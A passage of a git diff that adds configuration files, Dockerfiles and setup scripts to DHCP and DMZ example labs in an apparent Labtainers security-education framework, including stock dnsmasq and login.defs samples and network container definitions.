+#no-negcache + +# Normally responses which come from /etc/hosts and the DHCP lease +# file have Time-To-Live set as zero, which conventionally means +# do not cache further. If you are happy to trade lower load on the +# server for potentially stale date, you can set a time-to-live (in +# seconds) here. +#local-ttl= + +# If you want dnsmasq to detect attempts by Verisign to send queries +# to unregistered .com and .net hosts to its sitefinder service and +# have dnsmasq instead return the correct NXDOMAIN response, uncomment +# this line. You can add similar lines to do the same for other +# registries which have implemented wildcard A records. +#bogus-nxdomain=64.94.110.11 + +# If you want to fix up DNS results from upstream servers, use the +# alias option. This only works for IPv4. +# This alias makes a result of 1.2.3.4 appear as 5.6.7.8 +#alias=1.2.3.4,5.6.7.8 +# and this maps 1.2.3.x to 5.6.7.x +#alias=1.2.3.0,5.6.7.0,255.255.255.0 +# and this maps 192.168.0.10->192.168.0.40 to 10.0.0.10->10.0.0.40 +#alias=192.168.0.10-192.168.0.40,10.0.0.0,255.255.255.0 + +# Change these lines if you want dnsmasq to serve MX records. + +# Return an MX record named "maildomain.com" with target +# servermachine.com and preference 50 +#mx-host=maildomain.com,servermachine.com,50 + +# Set the default target for MX records created using the localmx option. +#mx-target=servermachine.com + +# Return an MX record pointing to the mx-target for all local +# machines. +#localmx + +# Return an MX record pointing to itself for all local machines. +#selfmx + +# Change the following lines if you want dnsmasq to serve SRV +# records. These are useful if you want to serve ldap requests for +# Active Directory and other windows-originated DNS requests. +# See RFC 2782. +# You may add multiple srv-host lines. +# The fields are ,,,, +# If the domain part if missing from the name (so that is just has the +# service and protocol sections) then the domain given by the domain= +# config option is used. (Note that expand-hosts does not need to be +# set for this to work.) + +# A SRV record sending LDAP for the example.com domain to +# ldapserver.example.com port 389 +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389 + +# A SRV record sending LDAP for the example.com domain to +# ldapserver.example.com port 389 (using domain=) +#domain=example.com +#srv-host=_ldap._tcp,ldapserver.example.com,389 + +# Two SRV records for LDAP, each with different priorities +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389,1 +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389,2 + +# A SRV record indicating that there is no LDAP server for the domain +# example.com +#srv-host=_ldap._tcp.example.com + +# The following line shows how to make dnsmasq serve an arbitrary PTR +# record. This is useful for DNS-SD. (Note that the +# domain-name expansion done for SRV records _does_not +# occur for PTR records.) +#ptr-record=_http._tcp.dns-sd-services,"New Employee Page._http._tcp.dns-sd-services" + +# Change the following lines to enable dnsmasq to serve TXT records. +# These are used for things like SPF and zeroconf. (Note that the +# domain-name expansion done for SRV records _does_not +# occur for TXT records.) + +#Example SPF. +#txt-record=example.com,"v=spf1 a -all" + +#Example zeroconf +#txt-record=_http._tcp.example.com,name=value,paper=A4 + +# Provide an alias for a "local" DNS name. Note that this _only_ works +# for targets which are names from DHCP or /etc/hosts. Give host +# "bert" another name, bertrand +#cname=bertand,bert + +# For debugging purposes, log each DNS query as it passes through +# dnsmasq. +#log-queries + +# Log lots of extra information about DHCP transactions. +#log-dhcp + +# Include another lot of configuration options. +#conf-file=/etc/dnsmasq.more.conf +#conf-dir=/etc/dnsmasq.d + +# Include all the files in a directory except those ending in .bak +#conf-dir=/etc/dnsmasq.d,.bak + +# Include all files in a directory which end in .conf +#conf-dir=/etc/dnsmasq.d/,*.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.client.student new file mode 100644 index 000000000..2f9db989c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.client.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh + +RUN apt-get update && apt-get install -y isc-dhcp-client +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.dhcp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.dhcp.student new file mode 100644 index 000000000..3190a05a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dockerfiles/Dockerfile.dhcp-test.dhcp.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/about.txt new file mode 100644 index 000000000..675ade4ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/about.txt @@ -0,0 +1 @@ +A simple DMZ implementation example for exploration and reference. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config new file mode 100644 index 000000000..4d9004722 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +WEB_IP : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;dns:/var/cache/bind/example.com.db;start.config : WEB_IP : 11 : 128 +INNER_DMZ : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;inner_gw:/etc/rc.local;start.config : INNER_DMZ : 11 : 128 +INNER_LAN1 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws1:.local/bin/fixlocal.sh;start.config : INNER_LAN1 : 11 : 128 +INNER_LAN2 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws2:.local/bin/fixlocal.sh;start.config : INNER_LAN2 : 11 : 128 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config new file mode 100644 index 000000000..e64bf2a40 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config @@ -0,0 +1,90 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +GLOBAL_SETTINGS + GRADE_CONTAINER ws1 + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED ws1_mike_master_seed + +NETWORK LAN1 + MASK 192.168.1.0/24 + GATEWAY 192.168.1.254 +NETWORK LAN2 + MASK 192.168.2.0/24 + GATEWAY 192.168.2.254 +NETWORK LAN3 + MASK 192.168.3.0/24 + GATEWAY 192.168.3.254 +NETWORK DMZ + MASK 198.18.1.0/24 + GATEWAY 198.18.1.254 +NETWORK WAN + MASK 198.18.0.0/24 + GATEWAY 198.18.0.254 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.254 +NETWORK REMOTE_LAN + MASK 203.0.113.0/24 + GATEWAY 203.0.113.254 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ws1 + USER tom + TERMINAL_GROUP 1 + LAN1 192.168.1.1 +CONTAINER ws2 + USER mary + LAN2 192.168.2.1 + TERMINAL_GROUP 1 +CONTAINER ws3 + USER alice + LAN2 192.168.2.2 + TERMINAL_GROUP 1 +CONTAINER inner_gw + USER ubuntu + LAN1 192.168.1.INNER_LAN1 + LAN2 192.168.2.INNER_LAN2 + DMZ 198.18.1.INNER_DMZ + TERMINAL_GROUP LOCAL +CONTAINER isp + USER ubuntu + WAN 198.18.0.1 + ISP_GW 10.10.0.1 + #TERMINALS -1 +CONTAINER remote_gw + USER admin + REMOTE_LAN 203.0.113.1 + WAN 198.18.0.3 + TERMINAL_GROUP remote +CONTAINER remote_ws + USER hank + REMOTE_LAN 203.0.113.2 + TERMINAL_GROUP remote + ADD-HOST example.com:198.18.1.WEB_IP + ADD-HOST www.example.com:198.18.1.WEB_IP + +CONTAINER web_server + USER admin + DMZ 198.18.1.WEB_IP + TERMINAL_GROUP LOCAL + SCRIPT NONE +CONTAINER outer_gw + # user name of user who interacts with the container. + TERMINAL_GROUP LOCAL + USER admin + WAN 198.18.0.2 + DMZ 198.18.1.2 + +CONTAINER dns + # user name of user who interacts with the container. + USER admin + DMZ 198.18.1.3 + TERMINAL_GROUP LOCAL diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh new file mode 100755 index 000000000..c7a51e0e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n198.18.1.2;\n};\nquery-source port 33333;' /etc/bind/named.conf.options +# define example.com +echo "include \"/etc/bind/example.conf\";" | sudo tee -a /etc/bind/named.conf.local +sudo chown bind:bind /var/cache/bind/* +echo "check alive" >> /tmp/fixlocal.output +~/.local/bin/alive.sh 198.18.1.2 +echo "back and alive" >> /tmp/fixlocal.output +date >> /tmp/fixlocal.output +sleep 3 +sudo /etc/init.d/bind9 restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/bind/example.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/bind/example.conf new file mode 100644 index 000000000..5c606d466 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/bind/example.conf @@ -0,0 +1,8 @@ +zone "example.com" { + type master; + file "/var/cache/bind/example.com.db"; +}; +zone "0.1.18.198.in-addr.arpa" { + type master; + file "/var/cache/bind/198.18.1.0"; +}; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the 